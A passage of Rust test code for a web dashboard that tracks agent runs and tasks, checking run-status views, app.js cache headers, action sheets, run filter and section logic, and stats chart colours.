15981 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15982 let mut t1 = Task::new(
15983 "still stuck".to_owned(),
15984 "do it".to_owned(),
15985 PathBuf::from("/repo"),
15986 Source::Human,
15987 );
15988 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15989 q.put(&mut t1).expect("put");
15990 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15991 assert_eq!(view1["latest_attempt"]["resolved"], false);
15992 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15993 assert_eq!(view1["latest_attempt"]["done"], true);
15994
15995 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15997 write_run(&runs, run_a, RunStatus::Blocked);
15998 write_run(&runs, run_b, RunStatus::Implementing);
15999 let mut t3 = Task::new(
16000 "retrying".to_owned(),
16001 "do it".to_owned(),
16002 PathBuf::from("/repo"),
16003 Source::Human,
16004 );
16005 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16006 q.put(&mut t3).expect("put");
16007 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16008 assert_eq!(view3["latest_attempt"]["id"], run_b);
16009 assert_eq!(view3["latest_attempt"]["resolved"], false);
16010 assert_eq!(view3["latest_attempt"]["done"], false);
16011
16012 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16017 write_run(&runs, noop_a, RunStatus::Blocked);
16018 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16019 let mut t2 = Task::new(
16020 "claims done".to_owned(),
16021 "do it".to_owned(),
16022 PathBuf::from("/repo"),
16023 Source::Human,
16024 );
16025 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16026 q.put(&mut t2).expect("put");
16027 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16028 assert_eq!(
16029 view2["latest_attempt"]["resolved"], false,
16030 "an unverified no-op claim must not read as a confirmed finish"
16031 );
16032
16033 assert!(APP_JS.contains("latest.resolved"));
16036 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16039 assert!(APP_JS.contains("Latest attempt: "));
16040 assert!(APP_JS.contains("in flight"));
16041 assert!(APP_JS.contains("not resolved"));
16042 }
16043
16044 #[tokio::test]
16045 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16046 let fx = Fixture::start().await;
16047 let js = fx.get("/app.js").await;
16053 assert_eq!(js.status, 200);
16054 let tag = js
16055 .header("etag")
16056 .expect("an etag to revalidate against")
16057 .to_owned();
16058 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16059 assert_eq!(
16060 js.header("cache-control"),
16061 Some("no-cache, must-revalidate"),
16062 "the phone has to ask every time"
16063 );
16064
16065 let again = fx
16068 .get_with("/app.js", &[("if-none-match", tag.as_str())])
16069 .await;
16070 assert_eq!(
16071 again.status, 304,
16072 "a deck it already has costs one round trip"
16073 );
16074 assert!(again.body.is_empty(), "304 carries no body");
16075
16076 let weak = fx
16079 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16080 .await;
16081 assert_eq!(weak.status, 304);
16082 let stale = fx
16083 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16084 .await;
16085 assert_eq!(stale.status, 200, "an older build must be replaced");
16086 assert!(stale.body.contains("renderRunActions"));
16087 }
16088
16089 #[test]
16090 fn the_task_detail_has_an_actions_fab_and_sheet() {
16091 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16092 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16093 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16094 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16096 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16097 assert!(APP_JS.contains("renderTaskActions(task);"));
16099 assert!(APP_JS.contains("renderTaskActions(null);"));
16100 let sheet = APP_JS
16102 .find("function renderTaskActions")
16103 .expect("sheet renderer");
16104 let body = &APP_JS[sheet..sheet + 3000];
16105 assert!(body.contains("changePriority("));
16106 assert!(body.contains("openTaskEdit(task)"));
16107 assert!(body.contains("renderTaskHoldBox(host"));
16108 assert!(body.contains("renderTaskDoneBox(host"));
16109 assert!(body.contains("renderTaskDeleteBox(host"));
16110 assert!(APP_JS.contains("API.priority(id)"));
16111 assert!(APP_JS.contains("API.deleteTask(id)"));
16112 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16114 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16116 }
16117
16118 #[test]
16119 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16120 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16121 let actions = INDEX_HTML
16122 .find("id=\"run-actions-box\"")
16123 .expect("actions box");
16124 assert!(task < actions, "the task entry comes first in the sheet");
16125 assert!(APP_JS.contains("renderRunTaskEntry"));
16126 assert!(APP_JS.contains("\"Open task \""));
16127 assert!(APP_JS.contains("started directly, no task"));
16129 assert!(APP_JS.contains("sheet-task-link"));
16130 assert!(APP_JS.contains("task-chip-link"));
16131 }
16132
16133 #[test]
16134 fn the_deck_never_sends_the_operator_to_a_terminal() {
16135 assert!(
16138 !APP_JS.contains("Run `magi fold` first"),
16139 "the deck must offer the fold, not prescribe a shell command"
16140 );
16141 assert!(APP_JS.contains("foldRun:"));
16142 assert!(APP_JS.contains("resumeRun:"));
16143 assert!(APP_JS.contains("renderRunActions"));
16144
16145 assert!(APP_JS.contains("armedFold"));
16147 assert!(APP_JS.contains("Yes, fold worktrees"));
16148
16149 assert!(APP_JS.contains("can no longer be resumed"));
16152 }
16153
16154 #[test]
16155 fn a_finished_run_explains_itself_with_its_own_last_line() {
16156 assert!(
16162 !APP_JS.contains("collapsed on agent quota"),
16163 "a stall must not be explained by a cause the deck did not check"
16164 );
16165 assert!(
16166 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16167 "and a block must not offer a guess with an `or` in it"
16168 );
16169
16170 assert!(
16174 APP_JS.contains("setText(r.event, run.event || \"\")"),
16175 "the run's last line is rendered unconditionally"
16176 );
16177 assert!(
16178 !APP_JS.contains("moving && run.event"),
16179 "and never gated on the run still moving"
16180 );
16181
16182 assert!(APP_JS.contains("lost to quota"));
16184 }
16185
16186 #[test]
16208 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16209 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16210 let shapes_body_start =
16211 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16212 let shapes_close = APP_JS[shapes_body_start..]
16213 .find("].map(")
16214 .expect("the shape list is closed by its done-computing .map(...)")
16215 + shapes_body_start;
16216 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16217
16218 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16219 for entry in shapes_src.split('{').skip(1) {
16220 let waiting = entry.contains("waiting: true");
16221 let dead = entry.contains("live: \"dead\"");
16222 let status_at =
16223 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16224 let status_end = entry[status_at..]
16225 .find('"')
16226 .expect("the status string is closed")
16227 + status_at;
16228 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16229 }
16230 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16231
16232 let done_rule_marker = "done: !";
16236 let done_rule_at = APP_JS[shapes_close..]
16237 .find(done_rule_marker)
16238 .expect("the done rule follows the shape list")
16239 + shapes_close
16240 + done_rule_marker.len();
16241 let includes_at = APP_JS[done_rule_at..]
16242 .find(".includes(shape.status)")
16243 .expect("the done rule ends in .includes(shape.status)")
16244 + done_rule_at;
16245 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16246 .trim()
16247 .trim_start_matches('[')
16248 .trim_end_matches(']')
16249 .split(',')
16250 .map(|s| s.trim().trim_matches('"'))
16251 .filter(|s| !s.is_empty())
16252 .collect();
16253
16254 let shapes: Vec<(bool, String, bool, bool)> = shapes
16255 .into_iter()
16256 .map(|(waiting, status, dead)| {
16257 let done = !not_done.contains(&status.as_str());
16258 (waiting, status, dead, done)
16259 })
16260 .collect();
16261
16262 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16266 if waiting {
16267 return "waiting";
16268 }
16269 if dead
16270 && !matches!(
16271 status,
16272 "merged"
16273 | "ready"
16274 | "stalled"
16275 | "blocked"
16276 | "failed"
16277 | "verified_noop"
16278 | "superseded"
16279 | "already_in_base"
16280 )
16281 {
16282 return "stale";
16283 }
16284 match status {
16285 "merged" | "ready" => "landed",
16286 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16287 | "already_in_base" => "ended",
16288 _ => "flight",
16289 }
16290 }
16291
16292 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16295 match filter_key {
16296 "active" => !done,
16297 "flight" => !done && !waiting && !dead,
16298 "stale" => !done && !waiting && dead,
16299 "waiting" => waiting,
16300 "done" => done,
16301 "all" => true,
16302 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16303 }
16304 }
16305
16306 let compatible = |section: &str, filter_key: &str| {
16307 shapes.iter().any(|(waiting, status, dead, done)| {
16308 run_section(*waiting, status, *dead) == section
16309 && filter_matches(filter_key, *waiting, *dead, *done)
16310 })
16311 };
16312
16313 let expected = [
16318 ("waiting", [true, false, false, true, true, true]),
16319 ("stale", [true, false, true, false, false, true]),
16320 ("flight", [true, true, false, false, false, true]),
16321 ("landed", [false, false, false, false, true, true]),
16322 ("ended", [false, false, false, false, true, true]),
16323 ];
16324 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16325
16326 for (section, wants) in expected {
16327 for (filter_key, want) in filter_keys.iter().zip(wants) {
16328 assert_eq!(
16329 compatible(section, filter_key),
16330 want,
16331 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16332 );
16333 }
16334 }
16335
16336 assert!(
16339 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16340 );
16341 assert!(APP_JS.contains(
16342 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16343 ));
16344 assert!(APP_JS.contains(
16345 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16346 ));
16347 }
16348
16349 #[tokio::test]
16350 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16351 let dir = tempfile::tempdir().expect("tempdir");
16355 let explicit = dir.path().join("not-a-checkout");
16356 std::fs::create_dir_all(&explicit).expect("create dir");
16357 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16358
16359 let missing = dir.path().join("does-not-exist-at-all");
16360 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16361 }
16362
16363 #[test]
16364 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16365 assert!(APP_JS.contains("function statsDonutArcs"));
16366 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16367 assert!(APP_JS.contains("function statusInBucket"));
16369 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16370 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16371 let buckets = [
16372 "merged",
16373 "ready",
16374 "in_progress",
16375 "blocked",
16376 "failed",
16377 "verified_noop",
16378 "superseded",
16379 "stalled",
16380 ];
16381 for key in buckets {
16382 let var = format!("--verdict-{key}:");
16383 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16385 assert!(
16386 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16387 "{key}"
16388 );
16389 }
16390 }
16391}